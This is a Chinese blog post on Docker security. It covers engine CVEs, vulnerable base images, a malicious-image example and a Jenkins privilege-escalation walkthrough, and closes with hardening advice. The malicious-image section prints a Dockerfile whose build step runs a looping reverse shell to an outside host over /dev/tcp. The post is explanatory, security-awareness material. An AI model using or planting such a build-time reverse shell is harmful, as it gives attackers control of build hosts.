聊一聊Docker安全

目前国内也有大量互联网公司在生产环境中使用Docker,本文主要从Docker安全、DockerImages安全、Docker使用安全,聊一聊Docker安全。

 

Docker自身安全

CVE中关于Docker的漏洞报告如下:

序号

CVE编号

漏洞版本

漏洞名称

1

CVE-2015-3630

1.6.0

Docker Libcontainer 安全绕过漏洞

2

CVE-2015-3627

1.6.1

Libcontainer和Docker Engine 权限许可和访问控制漏洞

3

CVE-2015-3630

1.6.1

Docker Engine 安全绕过漏洞

4

CVE-2014-9358

1.3.3

Docker 目录遍历漏洞

5

CVE-2014-9357

1.3.2

Docker 权限许可和访问控制漏洞

6

CVE-2014-6408

1.3.1

Docker 权限许可和访问控制漏洞

7

CVE-2014-5277

1.3.0

Docker和docker-py 代码注入漏洞

全部漏洞: https://docs.docker.com/engine/security/non-events/

Docker存在问题的版本分别在1.3和1.6,因为权限控制等问题导致可以脱离容器拿到宿主机权限。

从1.6到1.12都未爆出漏洞的情况,Docker本身无论是容器的隔离还是资源限制容器都有着很出色的表现。

更多的安全问题,主要发生在用户身上,没有正确的使用容器或者配置出错导致了容器的危险运行。

 

DockerImages安全

容器的环境是基于容器镜像,一旦容器镜像存在风险那么容器的安全性也要大打折扣了。

我们在看容器镜像又是根据Dockerfile一层层叠加的,如下图:

 

底层Base镜像引用“atiger77:1.0”,第二层镜像在此之上添加run.sh脚本到容器目录中,第三层镜像是指在容器运行时执行run.sh脚本。Docker镜像有自己的缓存机制,构建时会逐层往上进行检查,底层镜像如果没有产生变动,则跳过构建使用镜像Cache来节省构建时间,如果检测到变动则开始进行构建动作。

这里主要分两种情况来讨论容器镜像的安全。

  1. SoftwareVulnerability(镜像中使用的软件存在高危漏洞)
  2. BadImages(存在后门的容器镜像)

1.SoftwareVulnerability

还是根据刚才的镜像分层来说,底层Base镜像中如果使用的软件存在高危漏洞,那么所有使用Base镜像所构建出的镜像都会存在问题。例如:

 

 

上图中Base镜像只安装基础依赖组件,其中软件包abc有高危漏洞。根据Base镜像打出需要的镜像,左边的镜像是添加了代码目录到容器中,右边则构建了一个编译gcc的基础镜像。那么当Base镜像中的abc软件存在高危漏洞,那么所有相关依赖的镜像就都存在了风险。当出现这种情况时,需要先修复Base镜像中的问题软件,完成后一次对依赖的镜像重新进行构建动作。

根据上述情况,我分别从dockerhub和github中下载了部分镜像进行真实测试,

测试漏洞:Bash漏洞,测试代码: https://github.com/hannob/bashcheck/blob/master/bashcheck

测试版本:
分别使用官方镜像进行测试,版本为centos5.11/6.6/7.2

 

测试过程:

Version:5.11

Version:6.6

Version:7.2

 

测试结果:
从测试结果可以看到官网下载的centos5.11和centos6.6都存在BASH漏洞(CVE-2014-6277)。

CVE报告时间: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6277

Docker-Centos6.6官方dockerfile地址: https://github.com/CentOS/sig-cloud-instance-images/blob/8911843d9a6cc71aadd81e491f94618aded94f30/docker/Dockerfile

虽然Base镜像已然存在这个漏洞,但是容器用来跑服务的,一般情况下是不需要进入容器进行操作的,这里演示的只是一个通用漏洞,当然还会存在其他服务的漏洞容器镜像,使用容器基础镜像需要自己构建,保证Base镜像的干净和安全,现在也有很多人开始使用alpine的镜像。

其实到这边容器安全都是在可控范围内的,即使使用的服务或者应用有问题使得攻击者上传了webshell,操作的范围也只是在容器内并不会对宿主机产生影响,下面说说如何通过容器拿到宿主机权限。

2.BadImages

BadImages不是值“坏掉的镜像”而是说那些“恶意镜像”,所有带“Docker”和“容器”关键字的漏洞,大部分提交的漏洞都是通过Swarm没有配置正确,从而通过远程API实现了未授权访问。在所有Docker的容器中发现一个比较有意思的,利用自己编写的dockerfile执行反弹shell拿到了某公有云一台机器,让我们看下下面的dockerfile

FROM ubuntu

MAINTAINER Victor Coisne victor.coisne@dotcloud.com

RUN sleep 1

RUN cat /etc/passwd

RUN echo "deb http://mirrors.163.com/ubuntu/ precise main restricted universe multiverse" > /etc/apt/sources.list

RUN apt-get update

RUN echo "while ((1));do sleep 1;echo 111;/bin/sh -i >& /dev/tcp/1.1.1.1/1234 0>&1;done" >> /tmp/1.sh

RUN bash /tmp/1.sh

RUN sleep 20

RUN apt-get install -y memcached

ENTRYPOINT ["memcached"]

USER daemon

EXPOSE 11211

在构建过程中存在了一个反弹shell,由于该厂商自有服务的api没有和用户环境隔离做很好的隔离导致反弹shell成功。

容器相比传统的宿主机而言安全性是更好的,这也要归功于容器的快速迭代,使用容器可以加快整个开发交付流程,即使容器被挂了webshell几天后版本更新会上就会启动一个新的容器,之前的容器也不复存在了。

 

Docker使用安全隐患

Docker本身的安全性是值得信赖的,更多的还是人为使用的错误导致了安全隐患,大家印象里都对Swarm没有正确配置导致的安全问题比较了解,使用Swarm的同学可以参考下阿里容器服务的玩法,Swarm配置了tls,用户连接自己Swarm的时候,需要下载证书,使用证书才能和swarm建立tls连接。这里我会讲另一个docker使用场景中会出现的安全隐患以及一些使用docker的注意事项。

Docker的出现加快了整个开发-测试-上线流程,其中我们会使用Jenkins来做持续化集成的工作,简化流程大致如下(这里只介绍大概流程让大家有个印象,省去详细的流程):

1.开发本地编写代码,开发环境通过 --> 2.测试环境进行UT等其他测试,测试环境通过 --> 3.发布线上环境

当容器用在生产环境中,那么作为Jenkins而言就起到了CICD的作用,通过Jenkins-Master接受任务分配给对应Slave执行,通过后并将代码打包到镜像中发送上线。

让我们看一下大致的Compose文件:

 

compose运行在jenkins中设置完毕,主就可以把任务分配给从,并且由从进行测试构建编译打包成容器等动作。为了让jenkins-slave能在编译完成后在宿主机中打镜像而不是在容器内部,在compose中从挂卷将宿主机的/var/run/docker.sock挂到了容中,并且赋予了"privileged"权限,这个写法其实并没有什么问题,为了让从能构建镜像所以赋予root权限,恰恰是这样一旦jenkins被攻破那么就会对宿主机的安全造成了威胁,这里拿测试环境给大家演示一下。

环境:假设现在有一台Jenkins,攻击者通过爆破破解,弱密码尝试甚至没有密码的情况进入了Jenkins管理页面。

攻击思路:由于jenkins-slave有着root权限,我们需要拿到jenkins-slave权限然后进行提权操作,从而获取宿主机权限。

攻击过程:

  1. 确定节电中已经添加slave

  1. 添加任务并分配给slave

 

  1. 查看Slave宿主机中存在的容器列表

 

注:默认用户是jenkins,执行时需要加上sudo否则提示权限不足。这里可以看到拥有了privileged权限的slave容器获得了宿主机的权限。

  1. 在"Execute shell"中下载带有ssh服务的DockerImage

 

  1. 对宿主机所在机器进行端口扫描,可以发现2016端口状态为open

 

注释:本人是测试环境就写了内网IP。

  1. 登录宿主机2016端口添加公钥

 

  1. 登录宿主机的22端口,获取宿主机权限

 

加固方法:
Docker搭配Jenkins使用为了加快交付流程必然会出现权限问题,这里提供一种解法尽量避免危害,首先jenkins不要放在公网上,登录接口可以使用JIRA插件,在JIRA中设置密码复杂度。

 

这里还想提一下容器创建时一定要加上最大资源使用上限,容器在宿主机中就是个进程,一旦出现内存泄露或者Forkbomb类似的事件,宿主机的资源会消耗殆尽导致宿主机上的所有主机都不可用,建议在服务上线前先预估使用量。

Docker在操作者正确使用的情况下,安全性是可以得到保障的,就拿Jenkins的例子来说虽然开了privilege,要拿到宿主机的权限还是会碰到许许多多的问题,只能拿到容器层始终没办法提权到宿主机。

随着Docker逐渐更新完善安全问题会越来越少。

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值